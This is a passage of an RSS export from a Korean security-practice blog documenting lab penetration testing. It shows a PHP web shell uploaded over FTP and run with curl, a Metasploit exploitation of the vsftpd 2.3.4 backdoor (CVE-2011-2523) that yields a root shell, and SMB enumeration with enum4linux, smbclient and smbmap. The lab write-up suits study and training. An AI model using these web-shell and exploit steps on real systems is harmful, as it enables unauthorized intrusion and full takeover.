&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; -&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;단계4. 파일 업로드&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ftp&amp;gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;put /tmp/adv_ws.php adv_ws.php&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1064&quot; data-origin-height=&quot;116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKiQ7d/dJMcaiDXenB/vcPM7dYI8UrH9IPdksXHrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKiQ7d/dJMcaiDXenB/vcPM7dYI8UrH9IPdksXHrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKiQ7d/dJMcaiDXenB/vcPM7dYI8UrH9IPdksXHrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKiQ7d%2FdJMcaiDXenB%2FvcPM7dYI8UrH9IPdksXHrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1064&quot; height=&quot;116&quot; data-origin-width=&quot;1064&quot; data-origin-height=&quot;116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; -&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;단계5. 업로드 확인 및 FTP 종료&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ftp&amp;gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ls -l&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ftp&amp;gt;&lt;span&gt;&lt;span&gt; bye&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;545&quot; data-origin-height=&quot;137&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dhwtrc/dJMb991lbjV/G7bneQhaqsKeDnqQmD19s1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dhwtrc/dJMb991lbjV/G7bneQhaqsKeDnqQmD19s1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dhwtrc/dJMb991lbjV/G7bneQhaqsKeDnqQmD19s1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdhwtrc%2FdJMb991lbjV%2FG7bneQhaqsKeDnqQmD19s1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;545&quot; height=&quot;137&quot; data-origin-width=&quot;545&quot; data-origin-height=&quot;137&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp; -&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;단계6. kali를 통해 웹에서 실행 가능 여부 확인&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;$&lt;span&gt;&lt;span&gt;&lt;span&gt; curl&amp;nbsp;-X&amp;nbsp;POST&amp;nbsp;-d&amp;nbsp;&quot;x=$(echo&amp;nbsp;id|base64&amp;nbsp;-w0)&quot;&amp;nbsp;http://192.168.100.20/pub/adv_ws.php&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;명령어 확인 시 웹 쉘을 통한 id 확인 가능&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;663&quot; data-origin-height=&quot;66&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCTmRF/dJMcac4L1vJ/QJuN1Qm5MzKh6bkFOMHnUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCTmRF/dJMcac4L1vJ/QJuN1Qm5MzKh6bkFOMHnUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCTmRF/dJMcac4L1vJ/QJuN1Qm5MzKh6bkFOMHnUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCTmRF%2FdJMcac4L1vJ%2FQJuN1Qm5MzKh6bkFOMHnUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;663&quot; height=&quot;66&quot; data-origin-width=&quot;663&quot; data-origin-height=&quot;66&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Red, Blue, Target 환경을 통한 해킹 실습</category>
      <author>TungTung0000</author>
      <guid isPermaLink="true">https://yeonni821.tistory.com/46</guid>
      <comments>https://yeonni821.tistory.com/46#entry46comment</comments>
      <pubDate>Mon, 6 Jul 2026 13:48:26 +0900</pubDate>
    </item>
    <item>
      <title>공격 1 &amp;mdash; vsftpd 백도어 (CVE-2011-2523)</title>
      <link>https://yeonni821.tistory.com/45</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;547&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bc2fks/dJMcajiwuZe/om16fStMtft5v4jBll1DOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bc2fks/dJMcajiwuZe/om16fStMtft5v4jBll1DOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bc2fks/dJMcajiwuZe/om16fStMtft5v4jBll1DOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbc2fks%2FdJMcajiwuZe%2Fom16fStMtft5v4jBll1DOK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;790&quot; height=&quot;547&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;547&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;u&gt;1. Metasploit에서 vsftpd 2.3.4 공격 환경 구성을 위한 대상 정보 설정&lt;/u&gt;&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&amp;bull; msfconsole: Metasploit Framework(MSF)를 실행하는 명령어로 Metasploit은 알려진 취약점(Exploit)을 이용해 취약점이 실제로 악용 가능한지 검증하거나 시스템에 접근을 시도하는 모의해킹 프레임워크&lt;br /&gt;&amp;bull; Metasploit 실행 과정&lt;br /&gt;&amp;nbsp; &amp;nbsp;msfconsole 실행 &amp;rarr; Exploit 모듈 선택 &amp;rarr; 공격대상(RHOSTS) 설정 &amp;rarr; 공격(RUN) &amp;rarr; 취약점 악용 가능 여부 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&amp;bull; 단계1.&lt;span style=&quot;color: #000000;&quot;&gt; sudo msfconsole -q&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Metasploit Framework를 실행해 모의해킹 환경 진입&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;bull;&lt;span&gt; 단계2. use exploit/unix/ftp/vsftpd_234_backdoor&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; vsftpd 2.3.4(CVE-2011-2523) 취약점을 공격하는 Exploit 모듈 선택 및 사용할 Payload 자동 설정&lt;br /&gt;&amp;bull; 단계3. set RHOSTS 192.168.100.20&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 공격 대상 IP 설정&lt;br /&gt;&amp;bull;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;단계4. set LHOST 192.168.100.10&lt;br /&gt;&lt;/span&gt; &lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 공격자의 IP 설정&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;bull;&lt;span&gt; 단계5. set RPORT 2121 &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 공격 대상 서비스의 포트 설정&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;bull;&lt;span&gt; 단계6. show options&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Exploit을 실행하기 전 필수 옵션이 올바르게 실행되었는지 확인&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1076&quot; data-origin-height=&quot;970&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dplYhN/dJMcagTFSy5/8BFCfAGdgVJF7Oru4rK3sk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dplYhN/dJMcagTFSy5/8BFCfAGdgVJF7Oru4rK3sk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dplYhN/dJMcagTFSy5/8BFCfAGdgVJF7Oru4rK3sk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdplYhN%2FdJMcagTFSy5%2F8BFCfAGdgVJF7Oru4rK3sk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1076&quot; height=&quot;970&quot; data-origin-width=&quot;1076&quot; data-origin-height=&quot;970&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;u&gt;2. 공격&lt;/u&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;u&gt;&amp;nbsp;- 자동 Exploit&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 137px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 137px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 137px;&quot;&gt;[*] Started reverse TCP handler on 192.168.100.10:4444 &amp;rarr; Target이 연결해 오기를 기다리는 상태 &lt;br /&gt;[*] Running automatic check &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; 공격하기 전에 대상이 취약한지 자동으로 검사하는 과정 &lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt; FTP&amp;nbsp;banner&amp;nbsp;hints&amp;nbsp;its&amp;nbsp;vulnerable: &lt;br /&gt;220 (vsFTPd 2.3.4)&amp;nbsp;&lt;/span&gt;&amp;rarr; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;FTP 배너를 확인한 결과&lt;/span&gt;&lt;span&gt;가 반환되어 &lt;b&gt;취약한 버전(vsftpd 2.3.4)&lt;/b&gt; 임을 확인&lt;/span&gt;&lt;br /&gt;[+]&amp;nbsp;The&amp;nbsp;target&amp;nbsp;appears&amp;nbsp;to&amp;nbsp;be&amp;nbsp;vulnerable.&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Metasploit이 &quot;이 서버는 CVE-2011-2523 공격이 가능한 것으로 보인다.&quot; &lt;/span&gt;&lt;span&gt;라고 판단&lt;/span&gt;&lt;br /&gt;[+]&amp;nbsp;Backdoor&amp;nbsp;has&amp;nbsp;been&amp;nbsp;spawned!&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; 백도어가 활성화&lt;br /&gt;&lt;b&gt;‼️백도어 생성은 되었으나 쉘 연결은 되지 않았음&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;117&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W2d49/dJMcadP57wT/ujBUKim5ekw3pzyMQk7yrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W2d49/dJMcadP57wT/ujBUKim5ekw3pzyMQk7yrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W2d49/dJMcadP57wT/ujBUKim5ekw3pzyMQk7yrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW2d49%2FdJMcadP57wT%2FujBUKim5ekw3pzyMQk7yrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;117&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;117&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;u&gt;&amp;nbsp;- 수동 Exploit&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 54px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 54px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 54px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; # 원리: USER 필드에 :) 포함 &amp;rarr; 6200번에 셸 바인딩&lt;br /&gt;&lt;b&gt;uid=0(root) gid=0(root) 결과 확인으로 root 쉘 획득 완료&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1076&quot; data-origin-height=&quot;191&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NyX96/dJMcafAsGWa/I1c0QNKZHkz2ZyJi7x80Tk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NyX96/dJMcafAsGWa/I1c0QNKZHkz2ZyJi7x80Tk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NyX96/dJMcafAsGWa/I1c0QNKZHkz2ZyJi7x80Tk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNyX96%2FdJMcafAsGWa%2FI1c0QNKZHkz2ZyJi7x80Tk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1076&quot; height=&quot;191&quot; data-origin-width=&quot;1076&quot; data-origin-height=&quot;191&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Red, Blue, Target 환경을 통한 해킹 실습</category>
      <author>TungTung0000</author>
      <guid isPermaLink="true">https://yeonni821.tistory.com/45</guid>
      <comments>https://yeonni821.tistory.com/45#entry45comment</comments>
      <pubDate>Mon, 6 Jul 2026 11:11:20 +0900</pubDate>
    </item>
    <item>
      <title>정찰 단계 3 &amp;mdash; SMB&amp;middot;SNMP&amp;middot;DNS 열거</title>
      <link>https://yeonni821.tistory.com/44</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;792&quot; data-origin-height=&quot;551&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pyxUM/dJMcadJhCN6/KsVz8wCkaLRjZ5Sbz6vahk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pyxUM/dJMcadJhCN6/KsVz8wCkaLRjZ5Sbz6vahk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pyxUM/dJMcadJhCN6/KsVz8wCkaLRjZ5Sbz6vahk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpyxUM%2FdJMcadJhCN6%2FKsVz8wCkaLRjZ5Sbz6vahk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;792&quot; height=&quot;551&quot; data-origin-width=&quot;792&quot; data-origin-height=&quot;551&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;확인1. SMB열거&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ enum4linux -a 192.168.100.20&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- enum4linux: SMB(Samba) 정보 수집 도구 실행 명령어&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;829&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lvC7o/dJMcahZhci0/EoXz0An53ryAzrlTGfkVP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lvC7o/dJMcahZhci0/EoXz0An53ryAzrlTGfkVP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lvC7o/dJMcahZhci0/EoXz0An53ryAzrlTGfkVP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlvC7o%2FdJMcahZhci0%2FEoXz0An53ryAzrlTGfkVP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;947&quot; height=&quot;829&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;829&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ smbclient&amp;nbsp;-L&amp;nbsp;//192.168.100.20&amp;nbsp;-N&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- smbclient: SMB(Samba) 서버에 접속하는 클라이언트 프로그램&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 결과: 공유 폴더 조회 성공했으나 서버가 SMB1을 지원하지 않아 오류 발생&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;259&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JGrBP/dJMcag0ljgM/nqFjesUGEoimeEk7t2q5u1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JGrBP/dJMcag0ljgM/nqFjesUGEoimeEk7t2q5u1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JGrBP/dJMcag0ljgM/nqFjesUGEoimeEk7t2q5u1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJGrBP%2FdJMcag0ljgM%2FnqFjesUGEoimeEk7t2q5u1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;952&quot; height=&quot;259&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;259&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ smbmap&amp;nbsp;-H&amp;nbsp;192.168.100.20&amp;nbsp; &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- smbmap: SMB(Samba) 공유 폴더와 권한을 조회하는 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 결과: ID, Password 없이 익명의 상태에서 정보 조회가 가능했으며 읽기 쓰기 가능&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rrcbx/dJMcadvJ2u3/rKAkaIl4wjImBIFpf1xNHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rrcbx/dJMcadvJ2u3/rKAkaIl4wjImBIFpf1xNHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rrcbx/dJMcadvJ2u3/rKAkaIl4wjImBIFpf1xNHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Frrcbx%2FdJMcadvJ2u3%2FrKAkaIl4wjImBIFpf1xNHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1000&quot; height=&quot;404&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;확인2. NetBIOS 스캔&lt;/h4&gt;
